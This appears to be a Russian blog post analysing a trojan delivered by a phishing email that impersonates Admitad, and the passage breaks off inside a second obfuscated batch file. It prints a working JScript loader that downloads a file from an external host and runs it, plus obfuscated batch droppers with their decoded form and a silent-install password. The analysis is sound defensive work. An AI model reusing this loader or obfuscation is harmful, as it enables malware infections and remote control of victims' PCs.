Всем привет!
Сегодня я расскажу вам об одном троянском коне, забредшем в огород моего очень хорошего знакомого, о том, как я выгонял незваного гостя, о том, что у него внутри и какие уроки из всего этого я вынес.
Если вам интересно — добро пожаловать под кат!
Часть первая: начало
Началось всё недели три назад тёплым весенним днём, когда ко мне позвонил мой очень хороший знакомый и рассказал вот такую историю: несколько минут назад он получил на email письмо от компании Admitad, с которой у него деловые отношения. Письмо было вот такого содержания:
Уважаемые пользователи Admitad Уведомляем вас о нововведениях: С 23.03.16 Изменён порядок начисления трафика и систем выплат. Подробно см. Вложение. С 25.03.16 вводится система налогооблажения (НДС) на все аккаунты AD. Подробности НДС для каждого уровня аккаунта AD смотрите во вложении. С Уважением Admitad Support.
Отправителем значился Admitad Support. Ну и, естественно, к письму был приаттачен RAR-архив с XLS-файлом внутри.
Архив он, конечно же, распаковал, XLS-файл запустил и (та-даааа!) разрешил запуск макросов, потому что Excel вместо ожидаемой таблицы отображал пространное толкование про какие-то макросы (чёрт его знает — что это такое, да и слово какое-то дурацкое). Ну и после того, как он увидел какой-то счёт на оплату за просмотр видеоролика, наступило наконец-то прозрение, что его жестоко обманули. Он понял, что только что подхватил какую-то инфекцию и попросил меня глянуть компьютер — чтобы избавиться от неё.
Я выслушал историю, пожурил его немного, посочувствовал ему и попросил запустить Тимвьювер — потому как ехать через весь город было несколько лениво.
Часть вторая: первичное обследование
Подключившись к компьютеру через Тимвьювер, я начал обследование.
Первым делом аттач был отправлен на Virustotal: результат 0/56. Свежак — подумал я.
Затем я начал искать на диске свежие файлы. Таковые нашлись в папке temp: там среди прочего барахла лежало два запускаемых файла: run.exe и stream.js.
(function (Global){
function CreateObject(ProgId)
{
return new ActiveXObject(ProgId);
}
var FSO = fso = CreateObject("Scripting.FileSystemObject");
var WshShell = CreateObject("WScript.Shell");
function tmp()
{
var uyeifds = new ActiveXObject("Shell.Application");
return uyeifds;
}
function isFile(Path)
{
Path = WshShell.ExpandEnvironmentStrings(Path);
return fso.FileExists(Path);
}
function shl(rto)
{
tmp().ShellExecute(rto,"","","open","0");
}
function DeleteFile(Path)
{
if (/Array/i.test(Path.constructor+""))
{
for (var i=0, l=Path.length;i<l;i++)
DeleteFile(Path[i]);
return;
}
Path = WshShell.ExpandEnvironmentStrings(Path);
try
{
if (isFile(Path))
FSO.GetFile(Path).Delete(true);
} catch (e) {}
}
function DownloadFileFromURL(Url, FileDest)
{
var msx = "Msxml2";
if (!FileDest || !Url) return null;
var ge = "GE";
FileDest = WshShell.ExpandEnvironmentStrings(FileDest);
msx = msx + ".XMLHTTP";
DeleteFile(FileDest);
var oXMLHTTP = WScript.CreateObject(msx);
oXMLHTTP.open (ge + "T", Url, false);
oXMLHTTP.send(null);
var oADOStream = CreateObject("ADO" + "DB.Stream");
with (oADOStream){
Mode = 3;
Type = 1;
Open()
Write (oXMLHTTP.responseBody);
SaveToFile(FileDest, 2);
Close();
return FileDest;
}
}
var tor1="%TMP%\run.e";
var tor2="xe";
try
{
FSO.GetFile("\\WORKOUT\..hj");
} catch (e)
{
var Url="http://s2.zalivalka.ru/download/344314/231.jpg";
DownloadFileFromURL(Url,tor1+tor2);
shl(WshShell.ExpandEnvironmentStrings(tor1+tor2));
}
})(this)
Беглый осмотр пациента дал понять, что это просто загрузчик, который грузит файл httр://s2.zalivalka.ru/download/344314/231.jpg, переименовывает его в run.exe и запускает. Здесь в URL я специально заменил в аббревиатуре http латинскую 'p' на русскую 'р' — чтобы URL не превратился в линк. На run.exe Virustotal также скромно не отреагировал.
Ладно — подумал я — и продолжил поиск свежих файлов в компьютере. Скоро обнаружилась папка "%appdata%MicrocoftUpdate" с кучкой файлов внутри. Да, да, именно так — Microcoft — через 'c'. Уж не знаю — специально была сделана эта ошибка или нет, но она значительно облегчила дальнейший поиск изменений, внесённых в реестр. В этой папке exe-шник был всего один: ctfmon.exe. Если кто подзабыл, то напомню, что так когда-то назывался переключатель раскладки клавиатуры в ОС Windows XP.
Для начала я решил переименовать эту папку — чтобы вирус, которого я ещё не обнаружил, не смог пользоваться файлами из неё. Однако попытка переименовать папку закончилась неудачей. А не cftmon.exe ли из неё запущен и не даёт мне этого сделать? — подумал я. Открыл диспетчер задач — ну так и есть — вот он, родимый. Терминировал его и папка после этого переименовалась.
Затем я отправил ctfmon.exe на Virustotal. Результат был не очень страшный — что-то около 5/56, причём эти пятеро говорили о том, что это не вирус, а так-называемое RiskWare — легальное программное обеспечение, используемое для удалённого управления компьютером. Тогда я вернулся в папку temp и в этот момент понял, что совершил серьёзную ошибку: папка была пуста. Параллельно со мной в компьютере покопался некто, собрал всё, что ему было нужно, аккуратно прибрался за собой и ушёл.
Чёрт, чёрт, чёрт! Моя лень дала недругу возможность сделать своё чёрное дело. Я набрал телефон знакомого, попросил его выключить компьютер, взял ноутбук и поехал к нему домой.
Часть третья: препарирование коня
Для проведения вивисекции на ноутбук была установлена виртуальная машина, на которую были поставлены Windows 7, Microsoft Office, Process Monitor и WireShark. Запустив вирус, я немного подождал — когда он закончит все свои дела и запустит ctfmon.exe, после чего терминировал ctfmon и приступил к изучению собранных логов.
Из лога Process Monitor-а скоро стало понятно, что run.exe — это самораспаковывающийся архив. Для проверки я открыл его как архив: ну так и есть — внутри два файла: t10.bat и poi.exe. Вытащив из архива t10.bat я решил его поизучать: но не тут-то было! Такого видеть мне ещё не приходилось.
set iDVrlM=set
%iDVrlM% pGJV=
%iDVrlM%%pGJV%lVOMlhijX==
%iDVrlM%%pGJV%GcayqJj%lVOMlhijX%{
%iDVrlM%%pGJV%DysQd%lVOMlhijX%i
%iDVrlM%%pGJV%zSdh%lVOMlhijX%0
%iDVrlM%%pGJV%IyEwFH%lVOMlhijX%W
%iDVrlM%%pGJV%wgHafh%lVOMlhijX%d
%iDVrlM%%pGJV%EyadtMp%lVOMlhijX%f
%iDVrlM%%pGJV%ipCNKA%lVOMlhijX%5
%iDVrlM%%pGJV%QYFaxm%lVOMlhijX%*
%iDVrlM%%pGJV%VTlcnvcrw%lVOMlhijX%]
%iDVrlM%%pGJV%rirX%lVOMlhijX%M
%iDVrlM%%pGJV%iKwg%lVOMlhijX%_
%iDVrlM%%pGJV%RASAyUS%lVOMlhijX%?
%iDVrlM%%pGJV%heoAiQ%lVOMlhijX%g
%iDVrlM%%pGJV%uMCoFRy%lVOMlhijX%/
%iDVrlM%%pGJV%hxUEB%lVOMlhijX%$
%iDVrlM%%pGJV%JzIoznwCO%lVOMlhijX%v
%iDVrlM%%pGJV%dbqUTP%lVOMlhijX%!
%iDVrlM%%pGJV%KepbD%lVOMlhijX%#
%iDVrlM%%pGJV%LXEX%lVOMlhijX%s
%iDVrlM%%pGJV%LpfBjM%lVOMlhijX%@
%iDVrlM%%pGJV%UahIVhihw%lVOMlhijX%I
%iDVrlM%%pGJV%uCYMaI%lVOMlhijX%-
%iDVrlM%%pGJV%vmit%lVOMlhijX%D
%iDVrlM%%pGJV%MCWbFLDjD%lVOMlhijX%E
%iDVrlM%%pGJV%knPXvDj%lVOMlhijX%7
%iDVrlM%%pGJV%YEhMVMG%lVOMlhijX%;
%iDVrlM%%pGJV%wTULRTl%lVOMlhijX%1
%iDVrlM%%pGJV%Jrjse%lVOMlhijX%q
%iDVrlM%%pGJV%NDAI%lVOMlhijX%x
%iDVrlM%%pGJV%lUEuKBc%lVOMlhijX%U
%iDVrlM%%pGJV%HriWu%lVOMlhijX%8
%iDVrlM%%pGJV%VMaInwUi%lVOMlhijX%w
%iDVrlM%%pGJV%KrGSTTdN%lVOMlhijX%9
%iDVrlM%%pGJV%XokcwjROA%lVOMlhijX%
%iDVrlM%%pGJV%DdlJvxpBT%lVOMlhijX%y
%iDVrlM%%pGJV%LVicuKuUF%lVOMlhijX%F
%iDVrlM%%pGJV%hnydIrGM%lVOMlhijX%B
%iDVrlM%%pGJV%RXvHWsxrp%lVOMlhijX%4
%iDVrlM%%pGJV%dIYiPoN%lVOMlhijX%}
%iDVrlM%%pGJV%ukXME%lVOMlhijX%+
%iDVrlM%%pGJV%gWSgSMYA%lVOMlhijX%T
%iDVrlM%%pGJV%IYBhtEnG%lVOMlhijX%e
%iDVrlM%%pGJV%yBLVgYi%lVOMlhijX%N
%iDVrlM%%pGJV%YYRSUQ%lVOMlhijX%z
%iDVrlM%%pGJV%UbHph%lVOMlhijX%P
%iDVrlM%%pGJV%fTsricQFz%lVOMlhijX%k
%iDVrlM%%pGJV%gkNnIB%lVOMlhijX%2
%iDVrlM%%pGJV%ztzbgDRjB%lVOMlhijX%j
%iDVrlM%%pGJV%TMmw%lVOMlhijX%n
%iDVrlM%%pGJV%bFpwLXPA%lVOMlhijX%p
%iDVrlM%%pGJV%UjcGDFmD%lVOMlhijX%a
%iDVrlM%%pGJV%ydOvR%lVOMlhijX%Y
%iDVrlM%%pGJV%cpwfdcVIC%lVOMlhijX%"
%iDVrlM%%pGJV%sIMODTo%lVOMlhijX%)
%iDVrlM%%pGJV%reSQtdOC%lVOMlhijX%[
%iDVrlM%%pGJV%LnzWsIe%lVOMlhijX%6
%iDVrlM%%pGJV%gJBfV%lVOMlhijX%L
%iDVrlM%%pGJV%XmuWmdma%lVOMlhijX%.
%iDVrlM%%pGJV%sAGBcVq%lVOMlhijX%h
%iDVrlM%%pGJV%GmXLXKBWD%lVOMlhijX%O
%iDVrlM%%pGJV%CwxeyCrE%lVOMlhijX%t
%iDVrlM%%pGJV%mmTzf%lVOMlhijX%l
%iDVrlM%%pGJV%aTVdF%lVOMlhijX%r
%iDVrlM%%pGJV%ILOSfqlmf%lVOMlhijX%Z
%iDVrlM%%pGJV%WsGmIpaah%lVOMlhijX%R
%iDVrlM%%pGJV%yJgKHTGjV%lVOMlhijX%C
%iDVrlM%%pGJV%TPqwMwH%lVOMlhijX%Q
%iDVrlM%%pGJV%hJJAtBUgr%lVOMlhijX%H
%iDVrlM%%pGJV%hHpkv%lVOMlhijX%m
%iDVrlM%%pGJV%wlLk%lVOMlhijX%b
%iDVrlM%%pGJV%hlbFW%lVOMlhijX%,
%iDVrlM%%pGJV%cGSDDWyd%lVOMlhijX%X
%iDVrlM%%pGJV%phqNn%lVOMlhijX%J
%iDVrlM%%pGJV%fPbur%lVOMlhijX%S
%iDVrlM%%pGJV%eOigMGv%lVOMlhijX%u
%iDVrlM%%pGJV%CbAKNK%lVOMlhijX%K
%iDVrlM%%pGJV%IWaff%lVOMlhijX%3
%iDVrlM%%pGJV%sccH%lVOMlhijX%c
%iDVrlM%%pGJV%PoATNXt%lVOMlhijX%o
%iDVrlM%%pGJV%tdMSJfDrF%lVOMlhijX%V
%iDVrlM%%pGJV%ITymyoQK%lVOMlhijX%:
%iDVrlM%%pGJV%eaOFc%lVOMlhijX%G
%iDVrlM%%pGJV%Bucwql%lVOMlhijX%A
%iDVrlM%%pGJV%lcDFKx%lVOMlhijX%(
%LpfBjM%%MCWbFLDjD%%sccH%%sAGBcVq%%PoATNXt%%pGJV%%GmXLXKBWD%%EyadtMp%%EyadtMp%
%bFpwLXPA%%DysQd%%TMmw%%heoAiQ%%pGJV%%uCYMaI%%TMmw%%pGJV%%gkNnIB%%pGJV%%heoAiQ%%PoATNXt%%PoATNXt%%heoAiQ%%mmTzf%%IYBhtEnG%%XmuWmdma%%sccH%%PoATNXt%%hHpkv%|%LVicuKuUF%%DysQd%%TMmw%%wgHafh%%pGJV%%uMCoFRy%%UahIVhihw%%pGJV%%cpwfdcVIC%%gWSgSMYA%%gWSgSMYA%%gJBfV%%lVOMlhijX%%cpwfdcVIC%||%heoAiQ%%PoATNXt%%CwxeyCrE%%PoATNXt%%pGJV%%TMmw%%IYBhtEnG%%NDAI%%CwxeyCrE%%pGJV%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%CwxeyCrE%%UjcGDFmD%%LXEX%%fTsricQFz%%fTsricQFz%%DysQd%%mmTzf%%mmTzf%%pGJV%%uMCoFRy%%EyadtMp%%pGJV%%uMCoFRy%%DysQd%%hHpkv%%pGJV%%sccH%%CwxeyCrE%%EyadtMp%%hHpkv%%PoATNXt%%TMmw%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%%pGJV%%uMCoFRy%%JzIoznwCO%%IYBhtEnG%%aTVdF%%DdlJvxpBT%%LXEX%%DysQd%%mmTzf%%IYBhtEnG%%TMmw%%CwxeyCrE%%pGJV%%uMCoFRy%%UbHph%%UjcGDFmD%%LXEX%%LXEX%%VMaInwUi%%PoATNXt%%aTVdF%%wgHafh%%lVOMlhijX%%IWaff%%RXvHWsxrp%%ipCNKA%%RXvHWsxrp%%LnzWsIe%%ipCNKA%%wTULRTl%%gkNnIB%%gkNnIB%%IWaff%%RXvHWsxrp%%ipCNKA%
%bFpwLXPA%%DysQd%%TMmw%%heoAiQ%%pGJV%%mmTzf%%PoATNXt%%sccH%%UjcGDFmD%%mmTzf%%sAGBcVq%%PoATNXt%%LXEX%%CwxeyCrE%%pGJV%%uCYMaI%%wTULRTl%%zSdh%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%0%pGJV%>%pGJV%%TMmw%%eOigMGv%%mmTzf%
%heoAiQ%%PoATNXt%%CwxeyCrE%%PoATNXt%%pGJV%%wTULRTl%
:next
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%bFpwLXPA%%PoATNXt%%DysQd%%XmuWmdma%%IYBhtEnG%%NDAI%%IYBhtEnG%
%wgHafh%%IYBhtEnG%%mmTzf%%pGJV%%0%pGJV%>%pGJV%%TMmw%%eOigMGv%%mmTzf%
:1
%MCWbFLDjD%%NDAI%%DysQd%%CwxeyCrE%%pGJV%
Походило на какую-то шифровку от Алекса Юстасу. Пришлось разбираться.
Первой строкой шло:
set iDVrlM=set
Ясно, что в тексте все строки '%iDVrlM%' нужно заменить на 'set'. Сказано — сделано:
set iDVrlM=set
set pGJV=
set%pGJV%lVOMlhijX==
set%pGJV%GcayqJj%lVOMlhijX%{
...ну и так далее: пока не принципиально.
Теперь вторая строка стала выглядеть по-человечески. После знака равно в ней стоит пробел (здесь на коде этого не видно). Понятно, что теперь нужно заменить все строки '%pGJV%' на пробел:
set iDVrlM=set
set pGJV=
set lVOMlhijX==
set GcayqJj%lVOMlhijX%{
set DysQd%lVOMlhijX%i
...ну и так далее: опять же пока не принципиально.
Идём дальше. Третья строка говорит нам о том, что нужно заменить все строки '%lVOMlhijX%' на знак равенства:
set iDVrlM=set
set pGJV=
set lVOMlhijX==
set GcayqJj={
set DysQd=i
set zSdh=0
set IyEwFH=W
set wgHafh=d
set EyadtMp=f
set ipCNKA=5
set QYFaxm=*
set VTlcnvcrw=]
set rirX=M
set iKwg=_
set RASAyUS=?
set heoAiQ=g
set uMCoFRy=/
set hxUEB=$
set JzIoznwCO=v
set dbqUTP=!
set KepbD=#
set LXEX=s
set LpfBjM=@
set UahIVhihw=I
set uCYMaI=-
set vmit=D
set MCWbFLDjD=E
set knPXvDj=7
set YEhMVMG=;
set wTULRTl=1
set Jrjse=q
set NDAI=x
set lUEuKBc=U
set HriWu=8
set VMaInwUi=w
set KrGSTTdN=9
set XokcwjROA=
set DdlJvxpBT=y
set LVicuKuUF=F
set hnydIrGM=B
set RXvHWsxrp=4
set dIYiPoN=}
set ukXME=+
set gWSgSMYA=T
set IYBhtEnG=e
set yBLVgYi=N
set YYRSUQ=z
set UbHph=P
set fTsricQFz=k
set gkNnIB=2
set ztzbgDRjB=j
set TMmw=n
set bFpwLXPA=p
set UjcGDFmD=a
set ydOvR=Y
set cpwfdcVIC="
set sIMODTo=)
set reSQtdOC=[
set LnzWsIe=6
set gJBfV=L
set XmuWmdma=.
set sAGBcVq=h
set GmXLXKBWD=O
set CwxeyCrE=t
set mmTzf=l
set aTVdF=r
set ILOSfqlmf=Z
set WsGmIpaah=R
set yJgKHTGjV=C
set TPqwMwH=Q
set hJJAtBUgr=H
set hHpkv=m
set wlLk=b
set hlbFW=,
set cGSDDWyd=X
set phqNn=J
set fPbur=S
set eOigMGv=u
set CbAKNK=K
set IWaff=3
set sccH=c
set PoATNXt=o
set tdMSJfDrF=V
set ITymyoQK=:
set eaOFc=G
set Bucwql=A
set lcDFKx=(
...
Ну вот, теперь открылся весь алфавит замены. Потратив ещё минут 15, с помощью текстового и HEX-редакторов я заменил все %строки% на соответствующие им символы и в результате получился вот такой bat-файл:
@Echo Off
ping -n 2 google.com|Find /I "TTL="||goto next
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
taskkill /f /im ctfmon.exe
poi.exe /verysilent /Password=345465122345
ping localhost -10
del %0 > nul
goto 1
:next
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del poi.exe
del %0 > nul
:1
Exit
Суть bat-файла оказалась весьма незамысловатой: при помощи пинга google.com проверяется наличие связи с Интернетом. Если связи нет — poi.exe удаляется вместе с самим bat-файлом и на этом всё заканчивается. Если же связь есть, то сначала терминируется процесс ctfmon.exe, потом запускается poi.exe с параметрами «verysilent» и «Password=345465122345» и потом самоуничтожается bat-файл.
Мне так и осталось неясным два момента — что предполагалось сделать командой «ping localhost -10» и к чему эти многократные повторения операций taskkill и del?
Ну да ладно. После этого я принялся за изучение poi.exe. Попытка открыть его как архив завершилась неудачей. Однако запуск программы с параметрами — несколько необычное поведение для вируса (как мне показалось). Поэтому я обратился к кладези знаний под названием Интернет и по ключевым словам «verysilent» и «Password» сразу нашёл искомое: Inno Setup is a free installer for Windows programs.
Раз кто-то сделал архиватор, то кто-нибудь другой обязательно должен сделать распаковщик — подумал я — и продолжил поиск. Запрос «inno setup decompiler» сходу дал нужный результат. Отлично! Скачал его и запустил:
d:viruspoi>innounp -x -p345465122345 poi.exe
; Version detected: 5500 (Unicode)
#0 {app}avicap32.dll
Reading slice d:viruspoipoi.exe
#1 {app}ctfmon.exe
#2 {app}test.bat
#3 {app}test.vbs
#4 install_script.iss
Распаковщик быстро выполнил свою работу и я получил несколько файлов для дальнейшего изучения. Начал я с файла install_script.iss. Единственной заслуживающей внимания в нём была секция [Run]:
Filename: "{app}test.vbs"; Description: "{cm:LaunchProgram,Test}"; MinVersion: 0.0,5.0; Flags: shellexec postinstall nowait
Из неё стало понятно, что первым запускается VB-скрипт test.vbs:
On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "test.bat",0,true
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.DeleteFile WScript.ScriptFullName, 0
Скрипт тоже несложный: запускает test.bat и самоуничтожается.
Теперь смотрим test.bat:
set lpQmnLQ=set
%lpQmnLQ% RCRUDqE=
%lpQmnLQ%%RCRUDqE%yFcQKpJyG==
%lpQmnLQ%%RCRUDqE%aaLTgkA%yFcQKpJyG%#
%lpQmnLQ%%RCRUDqE%kOXeOOyR%yFcQKpJyG%@
%lpQmnLQ%%RCRUDqE%toTUt%yFcQKpJyG%o
%lpQmnLQ%%RCRUDqE%mRMLJkAp%yFcQKpJyG%/
%lpQmnLQ%%RCRUDqE%IHrQ%yFcQKpJyG%;
%lpQmnLQ%%RCRUDqE%immQQhH%yFcQKpJyG%c
%lpQmnLQ%%RCRUDqE%ksBw%yFcQKpJyG%Q
%lpQmnLQ%%RCRUDqE%qlLeeJ%yFcQKpJyG%f
%lpQmnLQ%%RCRUDqE%QvBGN%yFcQKpJyG%E
%lpQmnLQ%%RCRUDqE%SAKEFniaY%yFcQKpJyG%G
%lpQmnLQ%%RCRUDqE%hmixayLOL%yFcQKpJyG%M
%lpQmnLQ%%RCRUDqE%oaLFfs%yFcQKpJyG%}
%lpQmnLQ%%RCRUDqE%NjHP%yFcQKpJyG%K
%lpQmnLQ%%RCRUDqE%MuOksUDd%yFcQKpJyG%u
%lpQmnLQ%%RCRUDqE%upeuMhJ%yFcQKpJyG%H
%lpQmnLQ%%RCRUDqE%mOMhgb%yFcQKpJyG%y
%lpQmnLQ%%RCRUDqE%NSQCAVz%yFcQKpJyG%:
%lpQmnLQ%%RCRUDqE%dxmCkR%yFcQKpJyG%[
%lpQmnLQ%%RCRUDqE%ScSLQo%yFcQKpJyG%l
%lpQmnLQ%%RCRUDqE%iGpKA%yFcQKpJyG%0
%lpQmnLQ%%RCRUDqE%MKbjyO%yFcQKpJyG%R
%lpQmnLQ%%RCRUDqE%tCgoVQ%yFcQKpJyG%+
%lpQmnLQ%%RCRUDqE%KbJyRFMVu%yFcQKpJyG%(
%lpQmnLQ%%RCRUDqE%yOmTK%yFcQKpJyG%B
%lpQmnLQ%%RCRUDqE%DGHR%yFcQKpJyG%8
%lpQmnLQ%%RCRUDqE%LKQhkKSem%yFcQKpJyG%s
%lpQmnLQ%%RCRUDqE%UtIjaUOl%yFcQKpJyG%X
%lpQmnLQ%%RCRUDqE%KYddI%yFcQKpJyG%A
%lpQmnLQ%%RCRUDqE%TMuVQ%yFcQKpJyG%4
%lpQmnLQ%%RCRUDqE%dAMOY%yFcQKpJyG%)
%lpQmnLQ%%RCRUDqE%vpVg%yFcQKpJyG%_
%lpQmnLQ%%RCRUDqE%aeVO%yFcQKpJyG%J
%lpQmnLQ%%RCRUDqE%YrtVU%yFcQKpJyG%b
%lpQmnLQ%%RCRUDqE%vANLWtdW%yFcQKpJyG%d
%lpQmnLQ%%RCRUDqE%tNqAVXbz%yFcQKpJyG%m
%lpQmnLQ%%RCRUDqE%LkyqXKNYc%yFcQKpJyG%e
%lpQmnLQ%%RCRUDqE%ltuAgKR%yFcQKpJyG%w
%lpQmnLQ%%RCRUDqE%GNbpPXWvQ%yFcQKpJyG%a
%lpQmnLQ%%RCRUDqE%QBmzz%yFcQKpJyG%i
%lpQmnLQ%%RCRUDqE%pNywcj%yFcQKpJyG%C
%lpQmnLQ%%RCRUDqE%sQrHzBN%yFcQKpJyG%v
%lpQmnLQ%%RCRUDqE%DCbQQGfkL%yFcQKpJyG%2
%lpQmnLQ%%RCRUDqE%zUwuD%yFcQKpJyG%z
%lpQmnLQ%%RCRUDqE%abWkRpti%yFcQKpJyG%S
%lpQmnLQ%%RCRUDqE%mPVfEbE%yFcQKpJyG%r
%lpQmnLQ%%RCRUDqE%sIluXDQS%yFcQKpJyG%7
%lpQmnLQ%%RCRUDqE%OWatTKvD%yFcQKpJyG%x
%lpQmnLQ%%RCRUDqE%krFh%yFcQKpJyG%5
%lpQmnLQ%%RCRUDqE%UdGiq%yFcQKpJyG%T
%lpQmnLQ%%RCRUDqE%kHci%yFcQKpJyG%]
%lpQmnLQ%%RCRUDqE%pVCdLFa%yFcQKpJyG%,
%lpQmnLQ%%RCRUDqE%nmvE%yFcQKpJyG%j
%lpQmnLQ%%RCRUDqE%zHzGVcDcY%yFcQKpJyG%k
%lpQmnLQ%%RCRUDqE%GAJoRj%yFcQKpJyG%n
%lpQmnLQ%%RCRUDqE%DNmdQ%yFcQKpJyG%q
